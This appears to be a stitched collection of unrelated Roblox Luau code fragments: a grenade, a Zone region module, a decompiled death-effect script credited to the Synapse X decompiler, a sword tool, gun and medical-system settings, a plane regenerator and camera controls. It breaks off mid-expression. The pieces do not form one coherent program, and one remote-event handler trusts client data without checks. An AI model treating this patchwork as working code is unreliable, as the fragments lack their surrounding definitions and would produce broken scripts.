function checkTeams(otherHuman) return not (sameTeam(otherHuman) and not FriendlyFire==true) end function boom() wait(10) Used = true Object.Anchored = true Object.CanCollide = false Object.Sparks.Enabled = false Object.Orientation = Vector3.new(0,0,0) Object.Transparency = 1 Object.Fuse:Stop() Object.Explode:Play() Object.Dist:Play() Object.Explosion:Emit(500) Explode() end Object.Touched:Connect(function(part) if Used == true or part.Name == "Handle" then return end if part:IsDescendantOf(Tag.Value.Character) then return end if part.Parent then if part.Parent:FindFirstChild("Humanoid") then local human = part.Parent.Humanoid if checkTeams(human) then tagHuman(human) human:TakeDamage(Damage) end end Used = true Object.Impact:Play() Object.Velocity = Vector3.new(Object.Velocity.x/10,Object.Velocity.y/10,Object.Velocity.z/10) Object.RotVelocity = Vector3.new(Object.RotVelocity.x/10,Object.RotVelocity.y/10,Object.RotVelocity.z/10) game:GetService("Debris"):AddItem(Object, 10) end end) boom()
-- Fetch the thumbnail
local userId = player.UserId local thumbType = Enum.ThumbnailType.HeadShot local thumbSize = Enum.ThumbnailSize.Size420x420 local content, isReady = Players:GetUserThumbnailAsync(userId, thumbType, thumbSize)
--[=[ Handles observing the value conditionalli @param condition function | nil @return Observable<Brio<any>> ]=]
function AttributeValue:ObserveBrio(condition) return RxAttributeUtils.observeAttributeBrio(self._object, self._attributeName, condition) end
-- PRIVATE METHODS
function Zone:_calculateRegion(tableOfParts, dontRound) local bounds = {["Min"] = {}, ["Max"] = {}} for boundType, details in pairs(bounds) do details.Values = {} function details.parseCheck(v, currentValue) if boundType == "Min" then return (v <= currentValue) elseif boundType == "Max" then return (v >= currentValue) end end function details:parse(valuesToParse) for i,v in pairs(valuesToParse) do local currentValue = self.Values[i] or v if self.parseCheck(v, currentValue) then self.Values[i] = v end end end end for _, part in pairs(tableOfParts) do local sizeHalf = part.Size * 0.5 local corners = { part.CFrame * CFrame.new(-sizeHalf.X, -sizeHalf.Y, -sizeHalf.Z), part.CFrame * CFrame.new(-sizeHalf.X, -sizeHalf.Y, sizeHalf.Z), part.CFrame * CFrame.new(-sizeHalf.X, sizeHalf.Y, -sizeHalf.Z), part.CFrame * CFrame.new(-sizeHalf.X, sizeHalf.Y, sizeHalf.Z), part.CFrame * CFrame.new(sizeHalf.X, -sizeHalf.Y, -sizeHalf.Z), part.CFrame * CFrame.new(sizeHalf.X, -sizeHalf.Y, sizeHalf.Z), part.CFrame * CFrame.new(sizeHalf.X, sizeHalf.Y, -sizeHalf.Z), part.CFrame * CFrame.new(sizeHalf.X, sizeHalf.Y, sizeHalf.Z), } for _, cornerCFrame in pairs(corners) do local x, y, z = cornerCFrame:GetComponents() local values = {x, y, z} bounds.Min:parse(values) bounds.Max:parse(values) end end local minBound = {} local maxBound = {} -- Rounding a regions coordinates to multiples of 4 ensures the region optimises the region -- by ensuring it aligns on the voxel grid local function roundToFour(to_round) local ROUND_TO = 4 local divided = (to_round+ROUND_TO/2) / ROUND_TO local rounded = ROUND_TO * math.floor(divided) return rounded end for boundName, boundDetail in pairs(bounds) do for _, v in pairs(boundDetail.Values) do local newTable = (boundName == "Min" and minBound) or maxBound local newV = v if not dontRound then local roundOffset = (boundName == "Min" and -2) or 2 newV = roundToFour(v+roundOffset) -- +-2 to ensures the zones region is not rounded down/up end table.insert(newTable, newV) end end local boundMin = Vector3.new(unpack(minBound)) local boundMax = Vector3.new(unpack(maxBound)) local region = Region3.new(boundMin, boundMax) return region, boundMin, boundMax end function Zone:_displayBounds() if not self.displayBoundParts then self.displayBoundParts = true local boundParts = {BoundMin = self.boundMin, BoundMax = self.boundMax} for boundName, boundCFrame in pairs(boundParts) do local part = Instance.new("Part") part.Anchored = true part.CanCollide = false part.Transparency = 0.5 part.Size = Vector3.new(1,1,1) part.Color = Color3.fromRGB(255,0,0) part.CFrame = CFrame.new(boundCFrame) part.Name = boundName part.Parent = workspace self.janitor:add(part, "Destroy") end end end function Zone:_update() local container = self.container local zoneParts = {} local updateQueue = 0 self._updateConnections:clean() local containerType = typeof(container) local holders = {} local INVALID_TYPE_WARNING = "The zone container must be a model, folder, basepart or table!" if containerType == "table" then for _, part in pairs(container) do if part:IsA("BasePart") then table.insert(zoneParts, part) end end elseif containerType == "Instance" then if container:IsA("BasePart") then table.insert(zoneParts, container) else table.insert(holders, container) for _, part in pairs(container:GetDescendants()) do if part:IsA("BasePart") then table.insert(zoneParts, part) else table.insert(holders, part) end end end end self.zoneParts = zoneParts self.overlapParams = {} local allZonePartsAreBlocksNew = true for _, zonePart in pairs(zoneParts) do local success, shapeName = pcall(function() return zonePart.Shape.Name end) if shapeName ~= "Block" then allZonePartsAreBlocksNew = false end end self.allZonePartsAreBlocks = allZonePartsAreBlocksNew local zonePartsWhitelist = OverlapParams.new() zonePartsWhitelist.FilterType = Enum.RaycastFilterType.Whitelist zonePartsWhitelist.MaxParts = #zoneParts zonePartsWhitelist.FilterDescendantsInstances = zoneParts self.overlapParams.zonePartsWhitelist = zonePartsWhitelist local zonePartsIgnorelist = OverlapParams.new() zonePartsIgnorelist.FilterType = Enum.RaycastFilterType.Blacklist zonePartsIgnorelist.FilterDescendantsInstances = zoneParts self.overlapParams.zonePartsIgnorelist = zonePartsIgnorelist -- this will call update on the zone when the container parts size or position changes, and when a -- child is removed or added from a holder (anything which isn't a basepart) local function update() if self.autoUpdate then local executeTime = os.clock() if self.respectUpdateQueue then updateQueue += 1 executeTime += 0.1 end local updateConnection updateConnection = runService.Heartbeat:Connect(function() if os.clock() >= executeTime then updateConnection:Disconnect() if self.respectUpdateQueue then updateQueue -= 1 end if updateQueue == 0 and self.zoneId then self:_update() end end end) end end local partProperties = {"Size", "Position"} local function verifyDefaultCollision(instance) if instance.CollisionGroupId ~= 0 then error("Zone parts must belong to the 'Default' (0) CollisionGroup! Consider using zone:relocate() if you wish to move zones outside of workspace to prevent them interacting with other parts.") end end for _, part in pairs(zoneParts) do for _, prop in pairs(partProperties) do self._updateConnections:add(part:GetPropertyChangedSignal(prop):Connect(update), "Disconnect") end verifyDefaultCollision(part) self._updateConnections:add(part:GetPropertyChangedSignal("CollisionGroupId"):Connect(function() verifyDefaultCollision(part) end), "Disconnect") end local containerEvents = {"ChildAdded", "ChildRemoved"} for _, holder in pairs(holders) do for _, event in pairs(containerEvents) do self._updateConnections:add(self.container[event]:Connect(function(child) if child:IsA("BasePart") then update() end end), "Disconnect") end end local region, boundMin, boundMax = self:_calculateRegion(zoneParts) local exactRegion, _, _ = self:_calculateRegion(zoneParts, true) self.region = region self.exactRegion = exactRegion self.boundMin = boundMin self.boundMax = boundMax local rSize = region.Size self.volume = rSize.X*rSize.Y*rSize.Z -- Update: I was going to use this for the old part detection until the CanTouch property was released -- everything below is now irrelevant however I'll keep just in case I use again for future ------------------------------------------------------------------------------------------------- -- When a zones region is determined, we also check for parts already existing within the zone -- these parts are likely never to move or interact with the zone, so we set the number of these -- to the baseline MaxParts value. 'recommendMaxParts' is then determined through the sum of this -- and maxPartsAddition. This ultimately optimises region checks as they can be generated with -- minimal MaxParts (i.e. recommendedMaxParts can be used instead of math.huge every time) --[[ local result = self.worldModel:FindPartsInRegion3(region, nil, math.huge) local maxPartsBaseline = #result self.recommendedMaxParts = maxPartsBaseline + self.maxPartsAddition --]] self:_updateTouchedConnections() self.updated:Fire() end function Zone:_updateOccupants(trackerName, newOccupants) local previousOccupants = self.occupants[trackerName] if not previousOccupants then previousOccupants = {} self.occupants[trackerName] = previousOccupants end local signalsToFire = {} for occupant, prevItem in pairs(previousOccupants) do local newItem = newOccupants[occupant] if newItem == nil or newItem ~= prevItem then previousOccupants[occupant] = nil if not signalsToFire.exited then signalsToFire.exited = {} end table.insert(signalsToFire.exited, occupant) end end for occupant, _ in pairs(newOccupants) do if previousOccupants[occupant] == nil then local isAPlayer = occupant:IsA("Player") previousOccupants[occupant] = (isAPlayer and occupant.Character) or true if not signalsToFire.entered then signalsToFire.entered = {} end table.insert(signalsToFire.entered, occupant) end end return signalsToFire end function Zone:_formTouchedConnection(triggerType) local touchedJanitorName = "_touchedJanitor"..triggerType local touchedJanitor = self[touchedJanitorName] if touchedJanitor then touchedJanitor:clean() else touchedJanitor = self.janitor:add(Janitor.new(), "destroy") self[touchedJanitorName] = touchedJanitor end self:_updateTouchedConnection(triggerType) end function Zone:_updateTouchedConnection(triggerType) local touchedJanitorName = "_touchedJanitor"..triggerType local touchedJanitor = self[touchedJanitorName] if not touchedJanitor then return end for _, basePart in pairs(self.zoneParts) do touchedJanitor:add(basePart.Touched:Connect(self.touchedConnectionActions[triggerType], self), "Disconnect") end end function Zone:_updateTouchedConnections() for triggerType, _ in pairs(self.touchedConnectionActions) do local touchedJanitorName = "_touchedJanitor"..triggerType local touchedJanitor = self[touchedJanitorName] if touchedJanitor then touchedJanitor:cleanup() self:_updateTouchedConnection(triggerType) end end end function Zone:_disconnectTouchedConnection(triggerType) local touchedJanitorName = "_touchedJanitor"..triggerType local touchedJanitor = self[touchedJanitorName] if touchedJanitor then touchedJanitor:cleanup() self[touchedJanitorName] = nil end end local function round(number, decimalPlaces) return math.round(number * 10^decimalPlaces) * 10^-decimalPlaces end function Zone:_partTouchedZone(part) local trackingDict = self.trackingTouchedTriggers["part"] if trackingDict[part] then return end local nextCheck = 0 local verifiedEntrance = false local enterPosition = part.Position local enterTime = os.clock() local partJanitor = self.janitor:add(Janitor.new(), "destroy") trackingDict[part] = partJanitor local instanceClassesToIgnore = {Seat = true, VehicleSeat = true} local instanceNamesToIgnore = {HumanoidRootPart = true} if not (instanceClassesToIgnore[part.ClassName] or not instanceNamesToIgnore[part.Name]) then part.CanTouch = false end -- local partVolume = round((part.Size.X * part.Size.Y * part.Size.Z), 5) self.totalPartVolume += partVolume -- partJanitor:add(heartbeat:Connect(function() local clockTime = os.clock() if clockTime >= nextCheck then ---- local cooldown = enum.Accuracy.getProperty(self.accuracy) nextCheck = clockTime + cooldown ---- -- We initially perform a singular point check as this is vastly more lightweight than a large part check -- If the former returns false, perform a whole part check in case the part is on the outer bounds. local withinZone = self:findPoint(part.CFrame) if not withinZone then withinZone = self:findPart(part) end if not verifiedEntrance then if withinZone then verifiedEntrance = true self.partEntered:Fire(part) elseif (part.Position - enterPosition).Magnitude > 1.5 and clockTime - enterTime >= cooldown then -- Even after the part has exited the zone, we track it for a brief period of time based upon the criteria -- in the line above to ensure the .touched behaviours are not abused partJanitor:cleanup() end elseif not withinZone then verifiedEntrance = false enterPosition = part.Position enterTime = os.clock() self.partExited:Fire(part) end end end), "Disconnect") partJanitor:add(function() trackingDict[part] = nil part.CanTouch = true self.totalPartVolume = round((self.totalPartVolume - partVolume), 5) end, true) end local partShapeActions = { ["Ball"] = function(part) return "GetPartBoundsInRadius", {part.Position, part.Size.X} end, ["Block"] = function(part) return "GetPartBoundsInBox", {part.CFrame, part.Size} end, ["Other"] = function(part) return "GetPartsInPart", {part} end, } function Zone:_getRegionConstructor(part, overlapParams) local success, shapeName = pcall(function() return part.Shape.Name end) local methodName, args if success and self.allZonePartsAreBlocks then local action = partShapeActions[shapeName] if action then methodName, args = action(part) end end if not methodName then methodName, args = partShapeActions.Other(part) end if overlapParams then table.insert(args, overlapParams) end return methodName, args end
-- Decompiled with the Synapse X Luau decompiler.
local v1 = {}; local l__ReplicatedStorage__2 = game.ReplicatedStorage; local v3 = require(game.ReplicatedStorage.Modules.Lightning); local v4 = require(game.ReplicatedStorage.Modules.Xeno); local v5 = require(game.ReplicatedStorage.Modules.CameraShaker); local l__TweenService__6 = game.TweenService; local l__Debris__7 = game.Debris; function v1.RunStompFx(p1, p2, p3, p4) local l__Parent__8 = p2.Parent; local v9 = game.ReplicatedStorage.KillFX.Ghost.Ghost:Clone(); v9.Name = "Ghost" .. l__Parent__8.Name; v9.Parent = workspace.Ignored.Animations; v9.PrimaryPart.CFrame = CFrame.new(l__Parent__8.LowerTorso.Position) * CFrame.new(0, 0, 0) * CFrame.Angles(0, math.rad(math.random(-360, 360)), 0); v9:WaitForChild("Humanoid"):ApplyDescription((game.Players:GetHumanoidDescriptionFromUserId(game.Players:WaitForChild(l__Parent__8.Name).UserId))); game.Debris:AddItem(v9, 4); v9.HumanoidRootPart.Attachment.RingRelease.Enabled = false; task.delay(0, function() local u1 = nil; u1 = game["Run Service"].Stepped:Connect(function() if v9.Parent == nil then u1:Disconnect(); return; end; for v10, v11 in pairs(v9:GetChildren()) do if v11:IsA("BasePart") or v11:IsA("MeshPart") then v11.CanCollide = false; end; end; end); for v12, v13 in pairs(v9:GetChildren()) do if (v13:IsA("BasePart") or v13:IsA("Decal")) and (v13.Transparency == 1 or v13.Transparency == 0) then game.TweenService:Create(v13, TweenInfo.new(0.5, Enum.EasingStyle.Quart), { Transparency = 0.5 }):Play(); end; end; end); local v14 = v9.Humanoid:LoadAnimation(v9.Animation); v14:Play(); for v15, v16 in pairs(l__Parent__8.Humanoid:GetChildren()) do if v9.Humanoid:FindFirstChild(v16.Name) and v16:IsA("ValueBase") then v9.Humanoid[v16.Name].Value = v16.Value; end; end; v9.UpperTorso.Ar:Play(); local u2 = nil; u2 = v14:GetMarkerReachedSignal("Start"):Connect(function() for v17, v18 in pairs(v9:GetDescendants()) do if v18:IsA("BasePart") or v18:IsA("Decal") then game.TweenService:Create(v18, TweenInfo.new(1.5), { Transparency = 1 }):Play(); end; end; v9.UpperTorso.Sound:Play(); u2:Disconnect(); end); return nil; end; return v1;
--////////-- --The Meat-- --////////--
local Region = {} function Region.new(...) local args = {...} local Object = nil local isBasePart = false if args[1] and pcall(function() isBasePart = args[1]:IsA("BasePart") end) and isBasePart then Object = CreateRegionFromPart(args[1]) else Object = CreateRegion(args[1], args[3], args[2]) end return Object end return Region
---------------------------------------------------------------------------------------------------- -----------------=[ General ]=---------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------
TeamKill = true --- Enable TeamKill? ,TeamDamageMultiplier = 1 --- Between 0-1 | This will make you cause less damage if you hit your teammate ,ReplicatedBullets = true --- Keep in mind that some bullets will pass through surfaces... ,AntiBunnyHop = false --- Enable anti bunny hop system? ,JumpCoolDown = 3 --- Seconds before you can jump again ,JumpPower = 50 --- Jump power, default is 50 ,RealisticLaser = false --- True = Laser line is invisible ,ReplicatedLaser = true ,ReplicatedFlashlight = true ,EnableRagdoll = true --- Enable ragdoll death? ,HitmarkerSound = false --- GGWP MLG 360 NO SCOPE xD
-- Using the FindPartsInRegion3 API, this regen is "smart" and will NOT regenerate if something is in the way. -- If something IS in the way, the script will wait for the area to be clear.
local plane = script.Parent.Plane:clone() script.Parent.Plane.Cloned.Value,plane.Cloned.Value = true,true script.Parent.Plane.Origin.Value = script.Parent local regen = script.Parent.Regen local active = false local downtime = 5 -- This is the only thing you should edit in any script in this plane kit. Every other piece of code should be left alone plane.PrimaryPart = plane.MainParts.Main local planeSize = plane:GetModelSize() local planePos = plane:GetModelCFrame().p local v0 = (planePos-(planeSize/2)) local v1 = (planePos+(planeSize/2)) local region = Region3.new(v0,v1) -- Creates a 3D space using two Vector3s local gui = Instance.new("ScreenGui") gui.Name = "RegenGui" local f = Instance.new("Frame",gui) f.Name = "Message" f.Style = Enum.FrameStyle.RobloxRound f.Position = UDim2.new(0.5,-150,0.25,-15) f.Size = UDim2.new(0,300,0,30) local t = Instance.new("TextLabel",f) t.Name = "Msg" t.Text = "Awaiting area to be clear for regeneration to continue" t.TextColor3 = Color3.new(1,1,1) t.Font = Enum.Font.ArialBold t.FontSize = Enum.FontSize.Size12 t.Position = UDim2.new(0.5,0,0.5,0) function getPassengers(pln) -- Checks for other players in seats on the plane. If no one is on board, the plane will be marked as "inactive" and removed local plrs = {} local function scan(parent) for _,v in pairs(parent:GetChildren()) do if ((v:IsA("Seat")) or (v:IsA("VehicleSeat"))) then if ((v:findFirstChild("SeatWeld")) and (v.SeatWeld.Part1)) then local plr = game.Players:GetPlayerFromCharacter(v.SeatWeld.Part1.Parent) if (plr) then table.insert(plrs,plr) end end end scan(v) end end scan(pln) return plrs end function deleteInactivePlanes() for _,v in pairs(script.Parent:GetChildren()) do if (v.Name == plane.Name) then local passengers = getPassengers(v) if (#passengers == 0) then v:remove() end end end end function regionIsClear() local parts = game.Workspace:findPartsInRegion3(region,regen,100) return (#parts == 0) end function regenMain() local p = plane:clone() p.Parent = script.Parent p:MakeJoints() end regen.Touched:connect(function(obj) if (active) then return end local plr = game.Players:GetPlayerFromCharacter(obj.Parent) if (not plr) then return end active = true deleteInactivePlanes() for i = 0,0.5,0.1 do regen.Transparency = i wait() end regen.Transparency = 0.5 while (not regionIsClear()) do wait(0.5) if ((plr) and (plr.Parent) and (plr:findFirstChild("PlayerGui"))) then gui.Parent = plr.PlayerGui end end gui.Parent = nil regenMain() wait(downtime) for i = 0.5,0,-0.1 do regen.Transparency = i wait() end regen.Transparency = 0 active = false end)
-- Remote Events Client -> Server
RE_replicateProjectile.OnServerEvent:Connect(function(player, bullet) projectiles.CreateBullet(player, bullet) end) RE_tempSaveProfile.OnServerEvent:Connect(function(player) print("Server received save request") local playerID = player.UserId database.SaveProfile(playerID) end)
--[=[ Like Blend.Spring, but for AccelTween @param source any -- Source observable (or convertable) @param acceleration any -- Source acceleration (or convertable) @return Observable ]=]
function Blend.AccelTween(source, acceleration) local sourceObservable = Blend.toPropertyObservable(source) or Rx.of(source) local accelerationObservable = Blend.toNumberObservable(acceleration) local function createAccelTween(maid, initialValue) local accelTween = AccelTween.new() if initialValue then accelTween.p = initialValue accelTween.t = initialValue accelTween.v = 0 end if accelerationObservable then maid:GiveTask(accelerationObservable:Subscribe(function(value) assert(type(value) == "number", "Bad value") accelTween.a = value end)) end return accelTween end -- TODO: Centralize and cache return Observable.new(function(sub) local accelTween local maid = Maid.new() local startAnimate, stopAnimate = StepUtils.bindToRenderStep(function() sub:Fire(accelTween.p) return accelTween.rtime > 0 end) maid:GiveTask(stopAnimate) maid:GiveTask(sourceObservable:Subscribe(function(value) accelTween = accelTween or createAccelTween(maid, value) accelTween.t = value startAnimate() end)) return maid end) end
--[[ Local Functions ]]
-- function MasterControl:GetHumanoid() if LocalCharacter then if CachedHumanoid then return CachedHumanoid else CachedHumanoid = LocalCharacter:FindFirstChildOfClass("Humanoid") return CachedHumanoid end end end VRService.Changed:connect(function(prop) if prop == "VREnabled" then VREnabled = VRService.VREnabled end end) local characterAncestryChangedConn = nil local characterChildRemovedConn = nil local function characterAdded(character) if characterAncestryChangedConn then characterAncestryChangedConn:disconnect() end if characterChildRemovedConn then characterChildRemovedConn:disconnect() end LocalCharacter = character CachedHumanoid = LocalCharacter:FindFirstChildOfClass("Humanoid") characterAncestryChangedConn = character.AncestryChanged:connect(function() if character.Parent == nil then LocalCharacter = nil else LocalCharacter = character end end) characterChildRemovedConn = character.ChildRemoved:connect(function(child) if child == CachedHumanoid then CachedHumanoid = nil end end) end if LocalCharacter then characterAdded(LocalCharacter) end LocalPlayer.CharacterAdded:connect(characterAdded) local getHumanoid = MasterControl.GetHumanoid local moveFunc = LocalPlayer.Move local getUserCFrame = VRService.GetUserCFrame local updateMovement = function() if not areControlsEnabled then return end local humanoid = getHumanoid() if not humanoid then return end if isJumpEnabled and isJumping and not humanoid.PlatformStand then local state = humanoid:GetState() if state ~= STATE_JUMPING and state ~= STATE_FREEFALL and state ~= STATE_LANDED then humanoid.Jump = isJumping end end local adjustedMoveValue = moveValue if VREnabled and workspace.CurrentCamera.HeadLocked then local vrFrame = getUserCFrame(VRService, Enum.UserCFrame.Head) local lookVector = Vector3.new(vrFrame.lookVector.X, 0, vrFrame.lookVector.Z).unit local rotation = CFrame.new(ZERO_VECTOR3, lookVector) adjustedMoveValue = rotation:vectorToWorldSpace(adjustedMoveValue) end moveFunc(LocalPlayer, adjustedMoveValue, true) end
--Char.Humanoid.BreakJointsOnDeath = false
if configuracao.EnableRagdoll == true then Char.Humanoid.Died:Connect(function() Ragdoll(Char) end) end while configuracao.EnableMedSys do wait() if Sangrando.Value == true then if PastasStan.Tourniquet.Value == false then Sang.Value = (Sang.Value - (MLs.Value/60)) UltimoSang = Sang.Value MLs.Value = MLs.Value + 0.025 end end if PastasStan.Tourniquet.Value == true then Dor.Value = Dor.Value + 0.1 end if (human.Health - ultimavida < 0) then Sang.Value = Sang.Value + (human.Health - ultimavida)*((configuracao.BloodMult)*(configuracao.BloodMult)*(configuracao.BloodMult)) UltimoSang = Sang.Value end if (human.Health - ultimavida < 0) then Dor.Value = math.ceil(Dor.Value + (human.Health - ultimavida)*(-configuracao.PainMult)) --Energia.Value = math.ceil(Energia.Value + (human.Health - ultimavida)*(5)) end if (human.Health - ultimavida < 0) --[[and (Sangrando.Value == true)]] then MLs.Value = MLs.Value + ((ultimavida - human.Health)* (configuracao.BloodMult)) end if script.Parent.Parent.Humanoid.Health < ultimavida -(configuracao.BleedDamage) then Sangrando.Value = true if script.Parent.Parent.Humanoid.Health < ultimavida -(configuracao.InjuredDamage) then Ferido.Value = true if script.Parent.Parent.Humanoid.Health < ultimavida -(configuracao.KODamage) then Caido.Value = true end end end if human.Health >= human.MaxHealth and Sangrando.Value == false then Sang.Value = Sang.Value + 0.5 Dor.Value = Dor.Value - 0.025 MLs.Value = MLs.Value - 0.025 end if Sang.Value <= 0 then human.Health = 0 end ultimavida = script.Parent.Parent.Humanoid.Health spawn(function(timer) if Sang.Value >= 3500 and Dor.Value < 200 and Caido.Value == true and debounce == false then debounce = true wait(60) Caido.Value = false debounce = false end end) end -- Quero um pouco de credito,plox :P -- -- FEITO 100% POR SCORPION -- -- Oficial Release 1.5 --
-------- OMG HAX
r = game:service("RunService") local damage = 15 local slash_damage = 15 sword = script.Parent.Handle Tool = script.Parent local SlashSound = Instance.new("Sound") SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav" SlashSound.Parent = sword SlashSound.Volume = 1 local UnsheathSound = Instance.new("Sound") UnsheathSound.SoundId = "http://www.roblox.com/asset/?id=16425587" UnsheathSound.Parent = sword UnsheathSound.Volume = 1 function blow(hit) local humanoid = hit.Parent:findFirstChild("Humanoid") local vCharacter = Tool.Parent local vPlayer = game.Players:playerFromCharacter(vCharacter) local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character if humanoid~=nil and humanoid ~= hum and hum ~= nil then -- final check, make sure sword is in-hand local right_arm = vCharacter:FindFirstChild("Right Arm") if (right_arm ~= nil) then local joint = right_arm:FindFirstChild("RightGrip") if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then tagHumanoid(humanoid, vPlayer) humanoid:TakeDamage(damage) wait(1) untagHumanoid(humanoid) end end end end function tagHumanoid(humanoid, player) local creator_tag = Instance.new("ObjectValue") creator_tag.Value = player creator_tag.Name = "creator" creator_tag.Parent = humanoid end function untagHumanoid(humanoid) if humanoid ~= nil then local tag = humanoid:findFirstChild("creator") if tag ~= nil then tag.Parent = nil end end end function attack() damage = slash_damage SlashSound:play() local anim = Instance.new("StringValue") anim.Name = "toolanim" anim.Value = "Slash" anim.Parent = Tool end function swordUp() Tool.GripForward = Vector3.new(-1,0,0) Tool.GripRight = Vector3.new(0,1,0) Tool.GripUp = Vector3.new(0,0,1) end function swordOut() Tool.GripForward = Vector3.new(0,0,1) Tool.GripRight = Vector3.new(0,-1,0) Tool.GripUp = Vector3.new(-1,0,0) end Tool.Enabled = true function onActivated() if not Tool.Enabled then return end Tool.Enabled = false local character = Tool.Parent; local humanoid = character.Humanoid if humanoid == nil then print("Humanoid not found") return end attack() wait(1) Tool.Enabled = true end function onEquipped() UnsheathSound:play() end script.Parent.Activated:connect(onActivated) script.Parent.Equipped:connect(onEquipped) connection = sword.Touched:connect(blow)
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 5 -- cooldown for use of the tool again ZoneModelName = "Spin stars" -- name the zone model MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
--[=[ Provides utility functions to work with attributes in Roblox @class AttributeUtils ]=]
local require = require(script.Parent.loader).load(script) local RunService = game:GetService("RunService") local Maid = require("Maid") local Promise = require("Promise") local CancelToken = require("CancelToken") local DEFAULT_PREDICATE = function(value) return value ~= nil end local AttributeUtils = {} local VALID_ATTRIBUTE_TYPES = { ["nil"] = true; ["string"] = true; ["boolean"] = true; ["number"] = true; ["UDim"] = true; ["UDim2"] = true; ["BrickColor"] = true; ["CFrame"] = true; ["Color3"] = true; ["Vector2"] = true; ["Vector3"] = true; ["NumberSequence"] = true; ["ColorSequence"] = true; ["IntValue"] = true; ["NumberRange"] = true; ["Rect"] = true; ["Font"] = true; }
-- Initialize rotate tool
local RotateTool = require(CoreTools:WaitForChild 'Rotate') Core.AssignHotkey('C', Core.Support.Call(Core.EquipTool, RotateTool)); Core.AddToolButton(Core.Assets.RotateIcon, 'C', RotateTool)
-- Bool indicating whether data should save in studio (will not change during runtime)
local saveInStudio = script.SaveInStudio.Value
--[[ Package link auto-generated by Rotriever ]]
local PackageIndex = script.Parent.Parent.Parent._Index local Package = require(PackageIndex["Shared"]["Shared"]) export type ReactEmpty = Package.ReactEmpty export type ReactFragment = Package.ReactFragment export type ReactNodeList = Package.ReactNodeList export type ReactProviderType<T> = Package.ReactProviderType<T> export type ReactConsumer<T> = Package.ReactConsumer<T> export type ReactProvider<T> = Package.ReactProvider<T> export type ReactContext<T> = Package.ReactContext<T> export type ReactPortal = Package.ReactPortal export type RefObject = Package.RefObject export type EventPriority = Package.EventPriority export type ReactFundamentalComponentInstance<C, H> = Package.ReactFundamentalComponentInstance<C, H> export type ReactFundamentalImpl<C, H> = Package.ReactFundamentalImpl<C, H> export type ReactFundamentalComponent<C, H> = Package.ReactFundamentalComponent<C, H> export type ReactScope = Package.ReactScope export type ReactScopeQuery = Package.ReactScopeQuery export type ReactScopeInstance = Package.ReactScopeInstance export type ReactBinding<T> = Package.ReactBinding<T> export type ReactBindingUpdater<T> = Package.ReactBindingUpdater<T> export type MutableSourceVersion = Package.MutableSourceVersion export type MutableSourceGetSnapshotFn<Source, Snapshot> = Package.MutableSourceGetSnapshotFn<Source, Snapshot> export type MutableSourceSubscribeFn<Source, Snapshot> = Package.MutableSourceSubscribeFn<Source, Snapshot> export type MutableSourceGetVersionFn = Package.MutableSourceGetVersionFn export type MutableSource<Source> = Package.MutableSource<Source> export type Wakeable = Package.Wakeable export type Thenable<R> = Package.Thenable<R> export type Source = Package.Source export type ReactElement<P = Object, T = any> = Package.ReactElement<P , T > export type OpaqueIDType = Package.OpaqueIDType export type Dispatcher = Package.Dispatcher export type React_Ref<ElementType> = Package.React_Ref<ElementType> export type React_Context<T> = Package.React_Context<T> export type React_AbstractComponent<Config, Instance> = Package.React_AbstractComponent<Config, Instance> export type React_ComponentType<Config> = Package.React_ComponentType<Config> export type React_PureComponent<Props, State = nil> = Package.React_PureComponent<Props, State > export type React_Component<Props, State> = Package.React_Component<Props, State> export type React_ElementProps<ElementType> = Package.React_ElementProps<ElementType> export type React_StatelessFunctionalComponent<Props> = Package.React_StatelessFunctionalComponent<Props> export type React_Node = Package.React_Node export type React_Element<ElementType> = Package.React_Element<ElementType> export type React_ElementType = Package.React_ElementType export type React_ElementConfig<C> = Package.React_ElementConfig<C> export type React_ElementRef<C> = Package.React_ElementRef<C> export type React_Portal = Package.React_Portal export type React_Key = Package.React_Key return Package
-- Triggers
plrs.PlayerAdded:Connect(function(plr) onPlayerJoin(plr) end)
--[[ Functions of BaseCamera that are overridden by OrbitalCamera ]]
-- function OrbitalCamera:GetCameraToSubjectDistance() return self.curDistance end function OrbitalCamera:SetCameraToSubjectDistance(desiredSubjectDistance) local player = PlayersService.LocalPlayer if player then self.currentSubjectDistance = Util.Clamp(self.minDistance, self.maxDistance, desiredSubjectDistance) -- OrbitalCamera is not allowed to go into the first-person range self.currentSubjectDistance = math.max(self.currentSubjectDistance, self.FIRST_PERSON_DISTANCE_THRESHOLD) end self.inFirstPerson = false self:UpdateMouseBehavior() return self.currentSubjectDistance end function OrbitalCamera:CalculateNewLookVector(suppliedLookVector, xyRotateVector) local currLookVector = suppliedLookVector or self:GetCameraLookVector() local currPitchAngle = math.asin(currLookVector.y) local yTheta = Util.Clamp(currPitchAngle - math.rad(MAX_ALLOWED_ELEVATION_DEG), currPitchAngle - math.rad(MIN_ALLOWED_ELEVATION_DEG), xyRotateVector.y) local constrainedRotateInput = Vector2.new(xyRotateVector.x, yTheta) local startCFrame = CFrame.new(ZERO_VECTOR3, currLookVector) local newLookVector = (CFrame.Angles(0, -constrainedRotateInput.x, 0) * startCFrame * CFrame.Angles(-constrainedRotateInput.y,0,0)).lookVector return newLookVector end function OrbitalCamera:GetGamepadPan(name, state, input) if input.UserInputType == self.activeGamepad and input.KeyCode == Enum.KeyCode.Thumbstick2 then if self.r3ButtonDown or self.l3ButtonDown then -- R3 or L3 Thumbstick is depressed, right stick controls dolly in/out if (input.Position.Y > THUMBSTICK_DEADZONE) then self.gamepadDollySpeedMultiplier = 0.96 elseif (input.Position.Y < -THUMBSTICK_DEADZONE) then self.gamepadDollySpeedMultiplier = 1.04 else self.gamepadDollySpeedMultiplier = 1.00 end else if state == Enum.UserInputState.Cancel then self.gamepadPanningCamera = ZERO_VECTOR2 return end local inputVector = Vector2.new(input.Position.X, -input.Position.Y) if inputVector.magnitude > THUMBSTICK_DEADZONE then self.gamepadPanningCamera = Vector2.new(input.Position.X, -input.Position.Y) else self.gamepadPanningCamera = ZERO_VECTOR2 end end return Enum.ContextActionResult.Sink end return Enum.ContextActionResult.Pass end function OrbitalCamera:DoGamepadZoom(name, state, input) if input.UserInputType == self.activeGamepad and (input.KeyCode == Enum.KeyCode.ButtonR3 or input.KeyCode == Enum.KeyCode.ButtonL3) then if (state == Enum.UserInputState.Begin) then self.r3ButtonDown = input.KeyCode == Enum.KeyCode.ButtonR3 self.l3ButtonDown = input.KeyCode == 